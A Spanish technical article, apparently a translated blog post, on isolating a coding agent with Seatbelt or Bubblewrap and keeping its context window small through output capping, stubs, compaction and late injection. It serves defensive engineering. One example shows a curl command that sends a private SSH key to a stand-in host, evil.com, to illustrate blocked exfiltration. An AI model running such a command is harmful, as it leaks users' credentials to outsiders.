Inicio / Artículos

Aislar a un agente de programación y mantener su ventana de contexto reducida

Convierte a un agente de programación en entorno de pruebas con Seatbelt o Bubblewrap, y luego mantén su ventana de contexto ligera mediante archivos de desecho, stubs, compactación e inyección compatible con caché de prefijos.

Editor: REACTAPP.TOP10 min de lectura2372 palabras

Fuentes: Harness Engineering: Build the Runtime That Turns an LLM Into an Agent (Part 2/3)

Al otorgar a un agente de codificación acceso a la shell, capacidad para editar archivos y una solicitud de confirmación para acciones destructivas, aún quedan dos problemas. Las solicitudes de confirmación solo determinan qué acciones merecen la atención de un humano, y no pueden detener a un modelo que encuentra formas sutiles de eludirlas. Por otro lado, incluso un agente educado eventualmente llena su ventana de contexto y su rendimiento empeora. Dos soluciones resuelven esto: un entorno aislado, que hace físicamente imposible el comportamiento incorrecto, y la ingeniería de contexto, que permite que las sesiones largas sigan siendo manejables y útiles. Todo se logra con un pequeño módulo en Python, sin necesidad de frameworks.

Los archivos involucrados:

coding_harness/sandbox.py    # Seatbelt (macOS) / Bubblewrap (Linux)
coding_harness/history.py    # cap, strip, drop
coding_harness/compact.py    # LLM summary when the window is ~full
coding_harness/context.py    # late injection (time, git, file changes)

Sandbox: los muros, no el cerrojo

Una sandbox es un recinto donde el código se ejecuta sin dañar nada fuera de él. Imagina un acuario: los peces (las órdenes del agente) nadan libremente mientras el agua no llega al suelo. La solicitud de permisos es como un cerrojo en la puerta, y la sandbox son los muros que rodean la habitación. Las solicitudes solo son útiles hasta que una orden parece inofensiva pero no lo es, o hasta que el modelo inventa una solución alternativa.

Cada comando bash se ejecuta dentro de una prisión a nivel de sistema operativo con estas reglas:

  • Se permite leer en cualquier lugar, ya que el agente debe comprender el código, incluidos los archivos fuera del proyecto
  • Se permite escribir solo dentro del proyecto
  • No hay acceso a red
  • No se permite escribir en .git

El propio mecanismo de Apple se encarga de macOS, una herramienta llamada Seatbelt que funciona a través de sandbox-exec y que también limita las aplicaciones de la App Store. Linux utiliza Bubblewrap (bwrap), la herramienta que forma parte de Flatpak. No se requiere conocimiento previo en ninguno de estos sistemas, ya que todo se reduce a escribir una política breve que especifique qué está permitido.

La política de macOS consta únicamente de unas pocas líneas:

(version 1)
(deny default)
(allow process-exec process-fork signal)
(allow file-read*)
(allow sysctl-read)
(deny network*)
(allow file-write* (subpath "/your/project") (literal "/dev/null"))
(deny file-write* (subpath "/your/project/.git"))

(deny default) cierra todas las posibilidades, y luego algunas se vuelven a abrir: leer archivos, crear procesos y escribir dentro del proyecto. La red y .git permanecen cerrados, al igual que todo lo demás.

La función wrap() escribe esa política en un archivo temporal y envía la orden a través de sandbox-exec (en sandbox.py):

def wrap(command):
    if sys.platform == "darwin":
        profile = Path(tempfile.gettempdir()) / "agent-sandbox.sb"
        profile.write_text(PROFILE)
        return ["sandbox-exec", "-f", str(profile), "/bin/sh", "-c", command]

    if sys.platform.startswith("linux") and shutil.which("bwrap"):
        return [
            "bwrap",
            "--ro-bind", "/", "/",
            "--bind", str(PROJECT), str(PROJECT),
            "--dev", "/dev", "--proc", "/proc",
            "--unshare-net", "--die-with-parent",
            "/bin/sh", "-c", command,
        ]

    return None  # no sandbox available

Linux logra el mismo resultado de manera diferente. Todo el sistema de archivos se monta en modo solo lectura con --ro-bind; el directorio del proyecto es escribible mediante --bind, y --unshare-net elimina la conexión a red.

run() lo integra todo:

def run(command, timeout=60):
    sandboxed = wrap(command)
    return subprocess.run(
        sandboxed or command,
        shell=sandboxed is None,
        capture_output=True,
        text=True,
        timeout=timeout,
    )

Cuando existe un entorno aislado, se utiliza. En Windows o en Linux sin Bubblewrap, los comandos se ejecutan sin aislamiento. Existen opciones más potentes como Docker, WebAssembly y máquinas virtuales en la nube para productos multiinquilinos que ejecutan código no confiable de terceros. En una máquina personal, las funcionalidades del sistema operativo son suficientes. Un tiempo de espera de 60 segundos evita que comandos como find / hagan que la sesión se bloquee.

Dos capas independientes

Considere un modelo que intenta ejecutar curl https://evil.com/steal -d @~/.ssh/id_rsa:

  1. Las reglas de permisos detienen primero a curl y se lo niegan.
  2. Incluso si faltara esa regla, el entorno aislado seguiría interrumpiendo la conexión a la red.
  3. El comando genera un error con un mensaje similar a curl: (7) No se pudo conectar al servidor.
  4. No se puede hacer nada más al respecto, ya que el kernel lo rechazó.

Cualquiera de las capas por sí sola sería suficiente, y el objetivo es contar con ambas.

Comparación de las opciones de sandbox

Opción Usuario típico Aislamiento Costo de inicio Necesidades
Sandbox de SO Agentes locales Núcleo Prácticamente ninguno Nada adicional en macOS o Linux
Sandbox de WebAssembly Agentes locales WASM más Deno Unos segundos Deno
Contenedores en la nube Plataformas multiusuario VM o contenedor Un viaje de ida y vuelta por la red Clave API y facturación

Para una sola computadora portátil, la sandbox del sistema operativo es la opción correcta y sencilla: sin tiempo de ejecución adicional, sin retrasos ni control en el kernel. Un producto multiinquilino debería utilizar contenedores. En cualquier caso, no es viable lanzar una versión sin nada. Las herramientas para macOS y Linux ya existen, y la implementación aquí consta de unas 40 líneas.

Contexto: un escritorio que se llena

Cada modelo tiene una ventana de contexto, que es la cantidad de texto que puede procesar al mismo tiempo. Piénsela como memoria de trabajo. Cada token corresponde a aproximadamente tres cuartos de una palabra, por lo que “Hello world” equivale a 2 tokens, mientras que un archivo de Python de 100 líneas tiene alrededor de 500 tokens. Los modelos de clase GPT-4 suelen tener unas 128K tokens (aproximadamente 96,000 palabras), y Claude ofrece unas 200K (cercano a 150,000 palabras). Eso parece enorme hasta que el agente comienza a trabajar.

Cada resultado de una herramienta queda incluido en la conversación. Un único grep puede devolver 50,000 caracteres, un archivo grande añade otros 10,000, y una larga sesión de depuración implica cientos de llamadas. Con el tiempo, el modelo pierde el hilo de lo que ocurre.

Un escritorio es la analogía adecuada: todo lo que se toca queda sobre él, y después de una hora ya no se puede encontrar la página necesaria. La solución es mantener las páginas recientes al frente, archivar el resto y desechar algunas.

Hay cuatro capas que funcionan en orden, de la más económica a la más costosa; una capa posterior solo se activa si las anteriores no fueron suficientes.

Capa 1: límite al llegar

Se reduce un resultado en el momento en que una herramienta lo devuelve. El texto completo se guarda en un archivo temporal y se mantiene un puntero en línea (history.py):

CAP = 10_000  # chars the agent sees inline

def cap(text):
    if len(text) <= CAP:
        return text
    path = spill(text)  # write full output to a temp file
    return (
        text[:CAP]
        + f"\n\n[output trimmed: {len(text) - CAP} of {len(text)} chars cut. "
        f"The whole output is at {path} - page through it with "
        "head, tail, sed -n or grep. It is deleted when this turn ends.]"
    )

Un resultado de 50,000 caracteres muestra solo 10,000 caracteres en línea. El resto se almacena en el disco como un archivo de desbordamiento, y el agente puede utilizar head, tail o grep para acceder a él si lo necesita. El recorte se realiza una sola vez, al crear el resultado, y los mensajes antiguos nunca se vuelven a escribir. Al final de cada turno, sweep() elimina los archivos temporales, y volver a ejecutar la orden recrea el archivo de desbordamiento si es necesario.

Pruebe un verdadero grep -r "import" .:

# The agent sees the first 10,000 chars inline...
import os
import sys
from pathlib import Path
... (hundreds more lines) ...

[output trimmed: 40,000 of 50,000 chars cut. The whole output is at
/tmp/agent-spill-a1b2c3 - page through it with head, tail, sed -n or grep.
It is deleted when this turn ends.]

Para encontrar una importación específica, el agente puede ejecutar grep "import auth" sobre el archivo de datos. La salida completa no necesita estar siempre en contexto.

Capa 2: reducir resultados antiguos a esqueletos

Una vez que el modelo ha avanzado, los resultados antiguos de las herramientas no necesitan permanecer grandes. Se reducen a esqueletos (también en history.py):

STUB = 300  # chars kept after the turn ends

def strip(messages):
    for message in messages[:-2]:  # skip recent messages
        content = message.get("content") or ""
        if message["role"] != "tool" or len(content) <= STUB:
            continue
        message["content"] = content[:STUB] + "\n\n[output trimmed: ...]"

Cuando termina un turno, la salida del herramienta anterior se reduce a 300 caracteres, cantidad suficiente para recordar de qué se trataba y demasiado poco como para desperdiciar espacio en la ventana. Los mensajes recientes permanecen intactos. Este nivel es el que mantiene activas las sesiones largas. Al reducir 10,000 caracteres a 300 a través de 50 llamadas a la herramienta, se distingue una sesión que dura de una que se interrumpe.

Nivel 3: eliminar resultados completos

Si sigue siendo demasiado grande, se descartan todos los resultados de la herramienta, comenzando por los más antiguos:

def fit(messages):
    budget = config.CONTEXT_WINDOW * config.COMPACT_AT
    dropped = 0
    for message in messages[:-2]:  # skip recent messages
        if estimate(messages) <= budget:
            break
        if message["role"] == "tool":
            message["content"] = "[output trimmed: dropped to fit the context window.]"
            dropped += 1
    return dropped

Este es el botón de pánico. Se pierde información, pero eso es mejor que que el sistema se caiga. Dado que los dos primeros niveles funcionan bien, casi nunca se activa.

Nivel 4: compactación por un segundo modelo

Una vez que el uso supera el 85% del tiempo establecido, un segundo LLM lee toda la transcripción y elabora una nota de transferencia, similar a cuando las enfermeras informan al siguiente turno (compact.py):

COMPACT_SYSTEM_PROMPT = """
You are compacting the transcript of a coding session. Write the handoff note
that lets a fresh agent pick the work up without re-reading anything.

## Goal
What the user asked for. Quote them where the exact wording matters.

## What happened
Decisions taken and the reasoning behind them. Include approaches that were
tried and abandoned, and why.

## Files
Every file touched: path, and what changed in it.

## State
What works, what is broken, what was left half-finished.

## Next
The immediate next step.
"""

Después, el contexto contiene el prompt del sistema, el resumen y los últimos mensajes. La historia palabra por palabra desaparece, pero la trama se mantiene. Un nuevo agente, o el mismo después de un reinicio, continúa a partir de esa información. La compactación se activa al 85% y se reduce al 35%, dejando suficiente espacio antes del siguiente proceso:

COMPACT_AT = 0.85  # trigger compaction at 85%
COMPACT_TO = 0.35  # cut back to 35%

El orden es intencional. Establecer un límite de costos no cuesta nada, eliminar datos es barato, descartarlos causa daños y la compactación requiere una llamada adicional al LLM. La mayoría de las sesiones nunca pasan de la capa 2.

Almacenamiento en caché de prefijos e inyección tardía

Esta parte es fácil de pasar por alto, pero ahorra dinero de verdad. En cada llamada a la API, el servidor lee los mensajes desde el principio. Incluso con un historial de 100K tokens más 100 nuevos, sigue siendo necesario volver a leer los 100K, y eso se paga en cada turno.

El almacenamiento en caché de prefijos cambia esto. Si el inicio de la lista de mensajes no ha cambiado, el servidor reutiliza el trabajo anterior y solo procesa la parte nueva, lo que reduce los costos entre un 50 y un 90 por ciento según el proveedor.

El problema es que un agente necesita datos actualizados en cada turno: la hora, la rama de Git, los archivos que han cambiado. Si se incluyen en el prompt del sistema, el primer mensaje, y los cambios en el prefijo, la caché se pierde y cada turno vuelve a ser costoso.

La solución es añadir esos datos al final, justo antes de que se envíe la solicitud (context.py). En agent.py la llamada se realiza como call_llm(messages + [reminder()]). El recordatorio se agrega a la lista solo para esa solicitud concreta, lo que significa que el historial guardado, y por lo tanto el prefijo, nunca cambia ni un byte. El principio es la inyección tardía: todo lo que varía debe ir al final de la solicitud, no en el prompt del sistema.

def reminder():
    return {
        "role": "user",
        "content": (
            "<context>\n"
            f"time: {datetime.now():%Y-%m-%d %H:%M}\n"
            f"git branch: {git('branch --show-current').strip() or '(detached)'}\n"
            "</context>" + todos_note() + changes_note()
        ),
    }

changes_note() compara git status entre turnos, de modo que el agente aprende cuándo se editó algo en un IDE:

def changes_note():
    changed = file_changes()
    if not changed:
        return ""
    lines = [f"{LABELS.get(code, code)}: {path}" for path, code in changed.items()]
    return (
        "\n<file_changes>\n"
        "These files changed since your last turn. Read them again before "
        "editing:\n" + "\n".join(lines) + "\n</file_changes>"
    )

La instrucción del sistema y el historial permanecen idénticos; la API almacena en caché ese prefijo y solo la nueva información tiene costo. El recordatorio incluye la hora, la rama de git, <todos> cuando existe un plan y <file_changes> proveniente de git status desde la última iteración, lo que induce al agente a volver a leer los archivos editados en otro lugar. En una sesión de depuración de 50 iteraciones con un contexto de 100K, esto evita volver a procesar millones de tokens, casi sin código adicional. Los datos de cada iteración se añaden al final, nunca se incluyen en la instrucción del sistema.

CONTEXT_WINDOW tiene como valor por defecto 128000 y puede configurarse en ~/.agents/env para un modelo diferente.

Qué puede hacer ahora el agente

Con el bucle, las herramientas, los permisos, el entorno aislado y el manejo del contexto ya implementados, el agente puede:

  • Realizar bucles por sí mismo, llamar a herramientas y devolver los resultados
  • Sobrevivir a llamadas a herramientas defectuosas
  • Pregunte antes de realizar acciones peligrosas y rechace las peores.
  • Ejecute comandos en un entorno aislado del kernel sin conexión a red y con escritura limitada al proyecto.
  • Mantenga la ventana limpia mediante cuatro capas de protección.
  • Conserva el caché de prefijos intacto gracias a la inyección tardía.

Juntos, estos elementos lo hacen lo suficientemente seguro y económico como para usarlo a diario. Sin embargo, aún quedan deficiencias: no hay persistencia de memoria entre sesiones, no existe planificación para tareas de múltiples pasos y no hay forma de delegar la exploración a un asistente. Las habilidades adecuadas, una lista de tareas adecuada, sesiones persistentes y subagentes que trabajen fuera de la ventana principal podrían solucionarlas. Estos elementos básicos son los mismos que utilizan los agentes en entornos reales, y no tienen nada misterioso.

Leer más

  • Cómo un token portador de un carácter abrió la pasarela MCP de LiteLLM — Armas de engaño que detectaron a atacantes abusando de una omisión en la autenticación MCP de LiteLLM y de una falla en la ejecución de código. Aquí se presenta la cadena de ataque y una lista de verificación de seis pasos para reforzarla.
  • Sobrevivir al Fold: Una estrategia para sesiones de agentes de larga duración y compactación — Cómo mantener las sesiones de agentes asequibles y coherentes: el uso de la cola de caché como mecanismo de control, cinco etapas antes de la compactación, la delegación como límite de memoria y los costos asociados a la reanudación.
  • Ingeniería de Agent Harness: Estado, verificación y control alrededor del modelo — Una visión en tiempo de ejecución de los agentes de producción: por qué los prompts y el contexto no son suficientes, y cómo el estado duradero, la imposición de reglas, la verificación y la observabilidad cierran esa brecha.
  • Ingeniería de Harness: El entorno que hace que los agentes de IA sean fiables — Qué es la ingeniería de harness, sus seis componentes y tres pilares, cómo surgió el término en 2026, y nueve principios de diseño para agentes de producción.
  • LangChain4j para equipos de Java: Herramientas, agentes, habilidades y comunicación A2A en servicios Spring — Cómo integrar llamadas a herramientas, pipelines de agentes, habilidades bajo demanda, flujos de trabajo con posibilidad de pausar y reanudar, y agentes A2A remotos en un servicio Java existente mediante LangChain4j.